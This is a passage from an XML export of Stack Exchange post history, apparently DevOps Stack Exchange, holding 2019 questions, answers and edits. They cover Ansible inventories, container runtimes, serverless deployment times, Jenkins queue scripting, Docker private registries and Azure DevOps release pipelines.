[Unik](https://github.com/solo-io/unik)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29268" PostHistoryTypeId="2" PostId="9771" RevisionGUID="f5ee0344-c044-424f-bc6f-98a01e8e94db" CreationDate="2019-11-12T11:46:45.087" UserId="18136" Text="I have workflow that create 2 virtual machines on GCP. When virtual instance created I store output with external ip to variable. In next playbook i want to use all of my ip addresses in host section. My code is:&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    - name: Download and install jenkins&#xD;&#xA;      hosts: &#xD;&#xA;       - &quot;{{ node_1_ip }}&quot;&#xD;&#xA;       - &quot;{{ node_2_ip }}&quot;&#xD;&#xA;      tasks:&#xD;&#xA;       - name: Install java&#xD;&#xA;         yum:&#xD;&#xA;           name: java-1.8.0-openjdk-devel&#xD;&#xA;         become: true&#xD;&#xA;&#xD;&#xA;But when I run my playbook i have warning:&#xD;&#xA;&#xD;&#xA;    [WARNING]: Could not match supplied host pattern, ignoring: 35.228.80.9&#xD;&#xA;35.228.80.9 is my node_2_ip. How can I apply my playbook to this 2 machines?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29269" PostHistoryTypeId="1" PostId="9771" RevisionGUID="f5ee0344-c044-424f-bc6f-98a01e8e94db" CreationDate="2019-11-12T11:46:45.087" UserId="18136" Text="How I can use multiple hosts in AWX playbook?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29270" PostHistoryTypeId="3" PostId="9771" RevisionGUID="f5ee0344-c044-424f-bc6f-98a01e8e94db" CreationDate="2019-11-12T11:46:45.087" UserId="18136" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29271" PostHistoryTypeId="5" PostId="9770" RevisionGUID="137cf615-2d06-4bac-9694-dbc90baf1f8b" CreationDate="2019-11-12T11:53:23.833" UserId="354" Comment="Add explicit references to the questions." Text="## Are there other implementations&#xD;&#xA;&#xD;&#xA;**Yes**. The [Container Runtime](https://landscape.cncf.io/category=container-runtime&amp;format=card-mode&amp;grouping=category) group of the Cloud-Native Computing Foundation has a list of runtimes:&#xD;&#xA;&#xD;&#xA;They include:&#xD;&#xA;&#xD;&#xA;- [Containerd](https://containerd.io)&#xD;&#xA;- [CRI-IO](https://cri-io.io)&#xD;&#xA;- [Firecracker](https://firecracker-microvm.github.io)&#xD;&#xA;- [gVisor](https://gvisor.dev)&#xD;&#xA;- [Kata Containers](https://katacontainers.io)&#xD;&#xA;- [LXD](https://linux-containers.org/lxd)&#xD;&#xA;- [Nabla Containers](https://nabla-containers.github.io)&#xD;&#xA;- [Pouch](https://github.com/alibaba/pouch)&#xD;&#xA;- [runc](https://www.opencontainers.org)&#xD;&#xA;- [Singularity](https://sylabs.io)&#xD;&#xA;- [SmartOS](https://www.joyent.com/smartos)&#xD;&#xA;- [Unik](https://github.com/solo-io/unik)&#xD;&#xA;&#xD;&#xA;## Do they have different approaches&#xD;&#xA;&#xD;&#xA;While they cannot all be compared with each other directly, they all offer a way to provide a container runtime. In some cases, this runtime leverages the kernel, in others, they are in userspace. While some are explicitly proprietary, others are explicitly Open. Some are supported by large corporations (Google, IBM, Amazon, Alibaba), others by foundations or open source communities.&#xD;&#xA;&#xD;&#xA;All of these are used in production, but perhaps vary in their popularity." ContentLicense="CC BY-SA 4.0" />
  <row Id="29272" PostHistoryTypeId="10" PostId="9766" RevisionGUID="55752e37-5e1b-4289-b502-ff3740c06c5a" CreationDate="2019-11-12T12:18:16.650" UserId="210" Comment="102" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="29273" PostHistoryTypeId="11" PostId="9766" RevisionGUID="d46212c3-76d4-4eab-a1b6-24b43915016e" CreationDate="2019-11-12T12:20:12.893" UserId="210" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="29274" PostHistoryTypeId="10" PostId="9766" RevisionGUID="20f729c3-1f55-4219-98f3-08b6991327d8" CreationDate="2019-11-12T12:20:18.253" UserId="210" Comment="104" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="29275" PostHistoryTypeId="11" PostId="9766" RevisionGUID="4c4471b6-2c52-4432-b4c9-4196d742b409" CreationDate="2019-11-12T12:20:55.597" UserId="210" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="29276" PostHistoryTypeId="10" PostId="9766" RevisionGUID="c1554d55-b42e-42b4-8114-9be7a02064d9" CreationDate="2019-11-12T12:21:39.220" UserId="210" Comment="104" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="29277" PostHistoryTypeId="2" PostId="9772" RevisionGUID="588938ca-e987-4757-b2c7-f9ce553afafb" CreationDate="2019-11-12T12:23:14.003" UserId="397" Text="I suspect you haven't set up the host in [your inventory][1] you can figure out where your hosts are being pulled from with the following command:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;ansible-config dump | grep HOST&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;In practice, you probably just need to create an `inventory` file with the following content:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;[nodes]&#xD;&#xA;node01 ansible_host=IP OF YOUR FIRST NODE HERE!!!&#xD;&#xA;node02 ansible_host=35.228.80.9&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Then specify the `-i` parameter to `ansible-playbook`:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;ansible-playbook -i inventory -k playbook.yml&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Depending on your exact use cases it might be more scalable and maintainable to use [GCE Dynamic Inventory][2], although this does require a little bit of extra setup.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.ansible.com/ansible/latest/intro_inventory.html&#xD;&#xA;  [2]: https://docs.ansible.com/ansible/latest/scenario_guides/guide_gce.html#gce-dynamic-inventory" ContentLicense="CC BY-SA 4.0" />
  <row Id="29278" PostHistoryTypeId="10" PostId="9769" RevisionGUID="a08b4591-be47-43c3-8afd-29be59a9562c" CreationDate="2019-11-12T12:23:16.397" UserId="210" Comment="105" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="29279" PostHistoryTypeId="11" PostId="9769" RevisionGUID="39b36d94-688c-4155-8905-2c694ab55032" CreationDate="2019-11-12T13:03:59.767" UserId="210" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="29280" PostHistoryTypeId="10" PostId="9769" RevisionGUID="889ae4dd-4608-4716-8a95-af68db1c63d8" CreationDate="2019-11-12T13:04:06.207" UserId="210" Comment="104" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="29281" PostHistoryTypeId="2" PostId="9773" RevisionGUID="3e2c9d66-021a-4f29-a3df-692cf0e11a75" CreationDate="2019-11-12T14:24:55.050" UserId="12489" Text="Do your IAM roles that are attached to EC2 instances that are in EKS cluster have ECR iam policies?&#xD;&#xA;If not please update IAM roles&#xD;&#xA;Ref Link: &#xD;&#xA;[https://docs.aws.amazon.com/AmazonECR/latest/userguide/ECR_on_EKS.html#:~:targetText=The%20Amazon%20EKS%20worker%20node,policy%20permissions%20for%20Amazon%20ECR.&amp;targetText=When%20referencing%20an%20image%20from,tag%20naming%20for%20the%20image.][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/AmazonECR/latest/userguide/ECR_on_EKS.html#:~:targetText=The%20Amazon%20EKS%20worker%20node,policy%20permissions%20for%20Amazon%20ECR.&amp;targetText=When%20referencing%20an%20image%20from,tag%20naming%20for%20the%20image." ContentLicense="CC BY-SA 4.0" />
  <row Id="29282" PostHistoryTypeId="2" PostId="9774" RevisionGUID="149d7bd6-1d4b-452d-a8bc-7f21f73956e0" CreationDate="2019-11-12T15:03:10.740" UserId="13063" Text="If you have the option, [Github offers Actions](https://help.github.com/en/actions/automating-your-workflow-with-github-actions) which allow you to run workflows on different events - one of them being push.&#xD;&#xA;&#xD;&#xA;If Github is not an option, I would recommend creating a build where [deployment of the artifacts only happens if the build is done on master](https://docs.microsoft.com/en-us/azure/devops/pipelines/build/ci-build-git?view=azure-devops&amp;tabs=yaml#exclude-or-include-tasks-for-builds-based-on-the-branch-being-built).&#xD;&#xA;&#xD;&#xA;On your feature branches, on checkin, a build will happen which will pull the latest code, compile, and then run unit tests, security scanning, and code coverage (if applicable). Since this is a feature branch, the build ends there.&#xD;&#xA;&#xD;&#xA;If it is on master, it then performs the steps to package/deploy the artifacts.&#xD;&#xA;&#xD;&#xA;In Branches &gt; Master &gt; Branch Policies (in the ellipses menu), add a Build Validation.&#xD;&#xA;&#xD;&#xA;I recommend marking it required.&#xD;&#xA;&#xD;&#xA;If you aren't worried about merge conflicts causing a rebuild, you can make it expire immediately upon master changing (requiring a rebuild, which will fail on merge conflicts).  &#xD;&#xA;&#xD;&#xA;If you are a large team where you might frequently step on one another, you can make it never expire and leave it up to the developer to fix manually before they are able to merge." ContentLicense="CC BY-SA 4.0" />
  <row Id="29283" PostHistoryTypeId="2" PostId="9775" RevisionGUID="ffd2a5b9-866e-4278-8111-5356c08303fb" CreationDate="2019-11-12T19:41:34.243" UserId="18148" Text="using any method - cli, serverless.com, terraform, roughly:&#xD;&#xA;&#xD;&#xA;**how much time can i expect to pass between these two steps:**&#xD;&#xA;&#xD;&#xA; 1. submitting a new function to AWS (or azure or GCF), and &#xD;&#xA; 2. having that function hosted live in the cloud?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;note that i'm ***not*** asking about cold start times.  &#xD;&#xA;&#xD;&#xA;i'm wondering how long it takes new function code to be entered into and hosted in the AWS lambda system (or azure, ibm, google etc) for a given region.  that is, after taking steps to deploy some new lambda/serverless function code, approximately how soon will i be able to use it?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29284" PostHistoryTypeId="1" PostId="9775" RevisionGUID="ffd2a5b9-866e-4278-8111-5356c08303fb" CreationDate="2019-11-12T19:41:34.243" UserId="18148" Text="how long does it take to deploy a serverless function?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29285" PostHistoryTypeId="3" PostId="9775" RevisionGUID="ffd2a5b9-866e-4278-8111-5356c08303fb" CreationDate="2019-11-12T19:41:34.243" UserId="18148" Text="&lt;terraform&gt;&lt;azure-devops&gt;&lt;google-cloud-platform&gt;&lt;aws-lambda&gt;&lt;openwhisk&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29286" PostHistoryTypeId="2" PostId="9776" RevisionGUID="32ee1a66-61d2-4415-9138-b657216dcc13" CreationDate="2019-11-12T22:07:33.493" UserId="8164" Text="I managed to resolve this by installing the Nuget package Octopack on the projects that I wanted to be deployed as either separate websites or website applications. &#xD;&#xA;&#xD;&#xA;In this context, I installed Octopack to the 3 projects in green squares and checked-in the changes. Then on the Octopus Deploy side, I created 3 separate IIS deploy steps and just followed the typical steps. Octopus deploy now receives a NuGet package from TeamCity using the Octopus deploy plugin, Octopack build step, from there Octopus deploy has 3 IIS deploy steps, one for the main website and 2 for the website applications, each was given a custom directory path but after I had installed the Octopack NuGet packages into the appropriate projects in the solution through Visual Studio it was smooth sailing just using the general user-guide and tutorial videos.&#xD;&#xA;&#xD;&#xA;@richard slater - Thank-you for letting me know about Octopack, this was one of the key missing pieces that I needed." ContentLicense="CC BY-SA 4.0" />
  <row Id="29287" PostHistoryTypeId="2" PostId="9777" RevisionGUID="644bf198-9e13-46df-a95f-b2b5f43fd1b9" CreationDate="2019-11-12T22:11:07.660" UserId="8164" Text="I managed to resolve this by installing the Nuget package Octopack on the projects that I wanted to be deployed as either separate websites or website applications.&#xD;&#xA;&#xD;&#xA;In this context, I installed Octopack to the 3 projects in green squares and checked-in the changes. Then on the Octopus Deploy side, I created 3 separate IIS deploy steps and just followed the typical steps. Octopus deploy now receives a NuGet package from TeamCity using the Octopus deploy plugin, Octopack build step, from there Octopus deploy has 3 IIS deploy steps, one for the main website and 2 for the website applications, each was given a custom directory path but after I had installed the Octopack NuGet packages into the appropriate projects in the solution through Visual Studio it was smooth sailing just using the general user-guide and tutorial videos.&#xD;&#xA;&#xD;&#xA;@richard slater - Thank-you for letting me know about Octopack and nuspec, these were some of the key missing pieces that I needed.&#xD;&#xA;&#xD;&#xA;TLDR - If you want to deploy projects in a solution as separate websites, install the Octopus Deploy plugin to TeamCity and follow the basic tutorials, add the Octopack NuGet package to the projects you want as separate websites or web applications, set-up the Octopack step to push to Octopus Deploy over the API and use IIS steps in Octopus Deploy and you should be golden." ContentLicense="CC BY-SA 4.0" />
  <row Id="29288" PostHistoryTypeId="5" PostId="9776" RevisionGUID="3e0bdfb9-d951-4087-8ae7-b2dff21e6b33" CreationDate="2019-11-12T22:14:35.507" UserId="8164" Comment="Added TLDR." Text="I managed to resolve this by installing the Nuget package Octopack on the projects that I wanted to be deployed as either separate websites or website applications. &#xD;&#xA;&#xD;&#xA;In this context, I installed Octopack to the 3 projects in green squares and checked-in the changes. Then on the Octopus Deploy side, I created 3 separate IIS deploy steps and just followed the typical steps. Octopus deploy now receives a NuGet package from TeamCity using the Octopus deploy plugin, Octopack build step, from there Octopus deploy has 3 IIS deploy steps, one for the main website and 2 for the website applications, each was given a custom directory path but after I had installed the Octopack NuGet packages into the appropriate projects in the solution through Visual Studio it was smooth sailing just using the general user-guide and tutorial videos.&#xD;&#xA;&#xD;&#xA;@richard slater - Thank-you for letting me know about Octopack, this was one of the key missing pieces that I needed.&#xD;&#xA;&#xD;&#xA;TLDR - If you want to deploy projects in a solution as separate websites, install the Octopus Deploy plugin to TeamCity and follow the basic tutorials, add the Octopack NuGet package to the projects you want as separate websites or web applications, set-up the Octopack step to push to Octopus Deploy over the API and use IIS steps in Octopus Deploy and you should be golden." ContentLicense="CC BY-SA 4.0" />
  <row Id="29289" PostHistoryTypeId="2" PostId="9778" RevisionGUID="6d48c068-8cff-4207-9c36-357885e3fadf" CreationDate="2019-11-13T01:00:18.910" UserId="11221" Text="I've been looking around to see how to have ~10 different repos all on a git push trigger a single pipeline that does pretty much the same exact thing - build a docker image -except that the different repo names will be used for the docker image repo and the specific git commit will be the tag.&#xD;&#xA;&#xD;&#xA;Is this possible or do I have to break it down into multiple pipelines? Ideally I would be able to have one that queues jobs when multiple pushes happen in a short period of time. " ContentLicense="CC BY-SA 4.0" />
  <row Id="29290" PostHistoryTypeId="1" PostId="9778" RevisionGUID="6d48c068-8cff-4207-9c36-357885e3fadf" CreationDate="2019-11-13T01:00:18.910" UserId="11221" Text="Jenkins triggered by multiple git repos" ContentLicense="CC BY-SA 4.0" />
  <row Id="29291" PostHistoryTypeId="3" PostId="9778" RevisionGUID="6d48c068-8cff-4207-9c36-357885e3fadf" CreationDate="2019-11-13T01:00:18.910" UserId="11221" Text="&lt;docker&gt;&lt;jenkins&gt;&lt;continuous-integration&gt;&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29292" PostHistoryTypeId="2" PostId="9779" RevisionGUID="d25bc33d-eb3b-464f-ba40-9f029c6ded7b" CreationDate="2019-11-13T03:51:17.607" UserId="15792" Text="This will vary based on your cloud provider and what services you are using.  AWS Lambda functions are designed to be highly available for the region.  [Per the AWS Lambda FAQ][1]: &#xD;&#xA;&#xD;&#xA;&gt; When you update a Lambda function, there will be a brief window of time, typically less than a minute, when requests could be served by either the old or the new version of your function.&#xD;&#xA;&#xD;&#xA;So the new function will not be instantaneously available, and there is a possibility that the old function may be called.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/lambda/faqs/" ContentLicense="CC BY-SA 4.0" />
  <row Id="29297" PostHistoryTypeId="5" PostId="9768" RevisionGUID="2d3ebf22-eb93-4c8f-97ef-671fb6c38c77" CreationDate="2019-11-13T10:11:08.880" UserId="397" Comment="Integrate Bruce's comments, thanks BB." Text="I think you have to consider the history of the two tools to answer this question properly:&#xD;&#xA;&#xD;&#xA; - **Ansible** was created to manage the installation and maintenance of virtual machines, thus it originally only had the capability to install software into an operating system, perform systems administration tasks *within* that machine.  Subsequently, it has been extended to be able to create cloud resources in AWS, Azure, GCP and others.&#xD;&#xA;&#xD;&#xA; - **Terraform** was created to manage cloud resources, it's effectively a facade layer over the various APIs in AWS, Azure, GCP, etc.  It has subsequently been extended to be able to cover many of the functions that Ansible also covers such as installing software.&#xD;&#xA;&#xD;&#xA;My personal workflow is to use both applications for what they are **really good at**, thus I create infrastructure (Virtual Machines, Clusters, Storage, Networks, etc) in Terraform and then use Ansible to install and configure software as required.&#xD;&#xA;&#xD;&#xA;I can, and have in some situations, just used Terraform or Ansible, it's just a little harder as you have to learn how to use one tool in a different way.&#xD;&#xA;&#xD;&#xA;[Bruce Becker][1] pointed out in a comment that one of the main differences is the fact that Terraform is &quot;eventually consistent&quot;, in that it does a good job of understanding the current state and then making changes that converge on a &quot;desired state&quot;. This workflow is better for the majority of tasks than Ansible. In Ansible you can do a test run with `--check`, but this doesn't always take into account cascading changes.&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/users/354/bruce-becker" ContentLicense="CC BY-SA 4.0" />
  <row Id="29298" PostHistoryTypeId="2" PostId="9782" RevisionGUID="ba0fba92-c339-4807-be62-f3a507a51aa1" CreationDate="2019-11-13T10:23:59.340" UserId="397" Text="My general experience of Serverless across the three major clouds is that:&#xD;&#xA;&#xD;&#xA; - GCP takes up to two minutes.&#xD;&#xA; - AWS takes about a minute.&#xD;&#xA; - Azure is a bit random and has bad days when it can take five minutes, but mostly around two minutes.&#xD;&#xA;&#xD;&#xA;Some of it rather depends on how you measure it, and what you use to deploy it.  Something like Serverless Framework will do some additional work to creating a CloudFormation template which adds to the overall time. &#xD;&#xA;&#xD;&#xA;A former colleague of mine, [James Randall][1], has published quite a few articles on various aspects of Serverless performance - I haven't seen anything specific around how long it takes for a cloud provider to distribute code to the point of execution, but you may be able to glean some additional answers from his work.&#xD;&#xA;&#xD;&#xA;  [1]: https://www.azurefromthetrenches.com/page/2/?s=Azure%20Functions" ContentLicense="CC BY-SA 4.0" />
  <row Id="29299" PostHistoryTypeId="2" PostId="9783" RevisionGUID="6804ebb7-3df4-40ac-9a0c-ee0af79b42e0" CreationDate="2019-11-13T10:36:55.647" UserId="397" Text="I would be inclined to use [Pipeline Templating][1] as this gives you the ability to define standard templates centrally but leave the SCM field to be defined by the individual job.&#xD;&#xA;&#xD;&#xA;&gt; Leveraging templates in this way lets you separate the business logic (what should happen when) of your pipeline from the technical implementation (what’s actually going to happen). The result of this is a CI/CD pipeline that’s proven to be significantly easier to manage when supporting multiple teams simultaneously.&#xD;&#xA;&#xD;&#xA;I recommend that you **do not** have a single pipeline for all repositories as that is going to make it very hard to tell which repository is failing or slow via dashboards and alerts.&#xD;&#xA;&#xD;&#xA;  [1]: https://jenkins.io/blog/2019/05/09/templating-engine/" ContentLicense="CC BY-SA 4.0" />
  <row Id="29300" PostHistoryTypeId="2" PostId="9784" RevisionGUID="650bce71-abb3-4762-b3a0-014900072c7e" CreationDate="2019-11-13T11:17:44.697" UserId="18154" Text="Is there any way to stop pulling a docker image from the public docker-hub registry while building image locally. &#xD;&#xA;Note: We are maintaining a private registry that contains all the images. Only and only docker-engine should search for an image from the private registry and not from the public registry." ContentLicense="CC BY-SA 4.0" />
  <row Id="29301" PostHistoryTypeId="1" PostId="9784" RevisionGUID="650bce71-abb3-4762-b3a0-014900072c7e" CreationDate="2019-11-13T11:17:44.697" UserId="18154" Text="stop pulling a docker image from the public docker-hub registry" ContentLicense="CC BY-SA 4.0" />
  <row Id="29302" PostHistoryTypeId="3" PostId="9784" RevisionGUID="650bce71-abb3-4762-b3a0-014900072c7e" CreationDate="2019-11-13T11:17:44.697" UserId="18154" Text="&lt;docker-registry&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29303" PostHistoryTypeId="2" PostId="9785" RevisionGUID="21c38c5a-2221-4204-96e1-65021953f738" CreationDate="2019-11-13T11:33:08.147" UserId="16683" Text="You cannot change the default registry (see [this](https://github.com/moby/moby/issues/7203)). You have to specify which registry to use like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;docker pull myprivatereg:port/library/image&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Or, in a Dockerfile:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;FROM myprivatereg:port/library/image&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;(This issue was also opened in [StackOverlow](https://stackoverflow.com/questions/33054369/how-to-change-the-default-docker-registry-from-docker-io-to-my-private-registry))." ContentLicense="CC BY-SA 4.0" />
  <row Id="29304" PostHistoryTypeId="2" PostId="9786" RevisionGUID="289cc67a-4c6a-4ac4-9578-6171a4cba3a6" CreationDate="2019-11-13T11:35:46.473" UserId="18155" Text="I'm freshman in Jenkins. I would like to cancel jobs **by it's own label** (hundreds) from my Queue of tasks given to slaves: `jenkins.model.Jenkins.getInstance().getQueue()` &#xD;&#xA;so i then could do: `items[i].doCancelQueue()`&#xD;&#xA;&#xD;&#xA;Currently I only know how to do it, by its **name**: `items[i].task.getFullName()`. &#xD;&#xA;&#xD;&#xA;I'm looking for something like this: (when I iterate over Slaves that's just give me list of available labels for a single slave)&#xD;&#xA;&#xD;&#xA;    for (aSlave in hudson.model.Hudson.instance.slaves) {&#xD;&#xA;        println('Name: ' + aSlave.name);&#xD;&#xA;        println('getLabelString: ' + aSlave.getLabelString());&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;My whole code for deleting jobs by name&#xD;&#xA;&#xD;&#xA;    import hudson.model.*  &#xD;&#xA;    &#xD;&#xA;    def q = jenkins.model.Jenkins.getInstance().getQueue()   &#xD;&#xA;    def items = q.getItems()&#xD;&#xA;    &#xD;&#xA;    if (job_name_fragment == '' &amp;&amp; revision == ''){&#xD;&#xA;        println(&quot;At least one param is requied&quot;)&#xD;&#xA;        return 1&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    def count = 0&#xD;&#xA;    for (i=0;i&lt;items.length;i++){  &#xD;&#xA;        if (items[i].task.getName().contains(&quot;trunk&quot;) || items[i].task.getName().contains(&quot;dev&quot;)|| items[i].task.getName().contains(&quot;Windows&quot;)){&#xD;&#xA;            println(&quot;Task: &quot; + items[i].task.getName() + &quot; has been skipped&quot;)&#xD;&#xA;            continue&#xD;&#xA;        }&#xD;&#xA;        if(job_name_fragment == '' || items[i].task.getFullName().contains(job_name_fragment)){  &#xD;&#xA;            if(revision == '' || items[i].params.contains(revision)){&#xD;&#xA;                println(&quot;Task: &quot; + items[i].task.getFullName() + &quot; has been deleted from queue&quot;)&#xD;&#xA;                items[i].doCancelQueue()  &#xD;&#xA;                count++;&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;    println(&quot;&quot;)&#xD;&#xA;    println(&quot;Removed total: &quot; + count + &quot; tasks from queue&quot;)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks" ContentLicense="CC BY-SA 4.0" />
  <row Id="29305" PostHistoryTypeId="1" PostId="9786" RevisionGUID="289cc67a-4c6a-4ac4-9578-6171a4cba3a6" CreationDate="2019-11-13T11:35:46.473" UserId="18155" Text="Jenkins Cancel (jobs) from Queue by Label" ContentLicense="CC BY-SA 4.0" />
  <row Id="29306" PostHistoryTypeId="3" PostId="9786" RevisionGUID="289cc67a-4c6a-4ac4-9578-6171a4cba3a6" CreationDate="2019-11-13T11:35:46.473" UserId="18155" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29307" PostHistoryTypeId="2" PostId="9787" RevisionGUID="bacd3438-7cf4-42ba-a4c0-77ec41814007" CreationDate="2019-11-13T11:47:36.357" UserId="18156" Text="I've configured first deployment pipeline to an on-prem DEV environment.&#xD;&#xA;The project consists of 3 identical environments, DEV, UAT and PROD&#xD;&#xA;While their setup is exactly alike, their config (database credentials etc.) is obviously not. &#xD;&#xA;&#xD;&#xA;I'm using the DevOps `variables` to alter `web.config` and `appsettings.json` configuration files while deploying. &#xD;&#xA;Therefore I'd like to apply the same deployment pipeline, targeting 3 different environments with 3 different variables sets.&#xD;&#xA;&#xD;&#xA;This is the way I've seen in Octopus. Is it possible in the DevOps?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29308" PostHistoryTypeId="1" PostId="9787" RevisionGUID="bacd3438-7cf4-42ba-a4c0-77ec41814007" CreationDate="2019-11-13T11:47:36.357" UserId="18156" Text="Azure Devops, multiple on-prem environments, variables per environment" ContentLicense="CC BY-SA 4.0" />
  <row Id="29309" PostHistoryTypeId="3" PostId="9787" RevisionGUID="bacd3438-7cf4-42ba-a4c0-77ec41814007" CreationDate="2019-11-13T11:47:36.357" UserId="18156" Text="&lt;azure-devops&gt;&lt;azure&gt;&lt;azure-pipelines&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29310" PostHistoryTypeId="2" PostId="9788" RevisionGUID="10b2f198-b3b7-40e3-89f0-7980c821bfd2" CreationDate="2019-11-13T12:50:21.050" UserId="17829" Text="You can create a **Release Pipeline** with a stage for every environment.&#xD;&#xA;On each stage you can copy files, etc. and run tests against the environment.&#xD;&#xA;If the test/stage succeeds, the pipeline goes ahead to the next stage.&#xD;&#xA;Between the stages, you can configure that an authorized person has to approve the next step.&#xD;&#xA;The screenshot below is a release pipeline of one of my little side projects. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/W8nSt.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="29311" PostHistoryTypeId="5" PostId="9785" RevisionGUID="2ebd95c6-a8e4-4dce-8943-a581d6edd732" CreationDate="2019-11-13T12:50:55.270" UserId="354" Comment="only questions on SO, not issues." Text="You cannot change the default registry (see [this](https://github.com/moby/moby/issues/7203)). You have to specify which registry to use like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;docker pull myprivatereg:port/library/image&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Or, in a Dockerfile:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;FROM myprivatereg:port/library/image&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;(This question was also asked in [StackOverlow](https://stackoverflow.com/questions/33054369/how-to-change-the-default-docker-registry-from-docker-io-to-my-private-registry))." ContentLicense="CC BY-SA 4.0" />
  <row Id="29312" PostHistoryTypeId="2" PostId="9789" RevisionGUID="b6dad678-8acb-47e7-846d-3d0ea498be4a" CreationDate="2019-11-13T13:03:48.657" UserId="18155" Text="Found it by myself, if anyone will be interested check:&#xD;&#xA;&#xD;&#xA;getAssignedLabel()&#xD;&#xA;&#xD;&#xA;in. &#xD;&#xA;https://javadoc.jenkins-ci.org/hudson/model/Queue.Item.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="29313" PostHistoryTypeId="4" PostId="9766" RevisionGUID="475f0a49-a5f6-4cea-924e-adea2d79e486" CreationDate="2019-11-13T13:10:43.873" UserId="18043" Comment="edited title" Text="Where do I use Ansible and where is Terraform used? ( Strengths &amp; Weaknesses)" ContentLicense="CC BY-SA 4.0" />
  <row Id="29314" PostHistoryTypeId="2" PostId="9790" RevisionGUID="1d14b4ad-e195-4217-8dc1-880fcc7a96a9" CreationDate="2019-11-13T13:12:20.460" UserId="397" Text="I'm aware that Kubernetes uses `containerd` internally and that `containerd` is part of Docker.  Does that mean that Kubernetes only uses certain parts of Docker to provide orchestration of containers? Additionally, how does `runc` fit into this ecosystem, I'm aware Kubernetes uses it because CVEs affecting `runc` impact Kubernetes.&#xD;&#xA;&#xD;&#xA;I've not been able to find out what the technical components of Kubernetes are; there are plenty of diagrams out there showing the logical elements (i.e. masters, nodes, kubelets, deployments, services, pods, etc.). However, I'm trying to get into the details a bit more and understand what parts make up Kubernetes.&#xD;&#xA;&#xD;&#xA;Is it possible to describe how Kubernetes is constructed from its components such as `runc`, `containerd` and Docker?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29315" PostHistoryTypeId="1" PostId="9790" RevisionGUID="1d14b4ad-e195-4217-8dc1-880fcc7a96a9" CreationDate="2019-11-13T13:12:20.460" UserId="397" Text="What's the relationship between ContainerD and Docker?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29316" PostHistoryTypeId="3" PostId="9790" RevisionGUID="1d14b4ad-e195-4217-8dc1-880fcc7a96a9" CreationDate="2019-11-13T13:12:20.460" UserId="397" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;containers&gt;&lt;open-source&gt;" ContentLicense="CC BY-SA 4.0" />
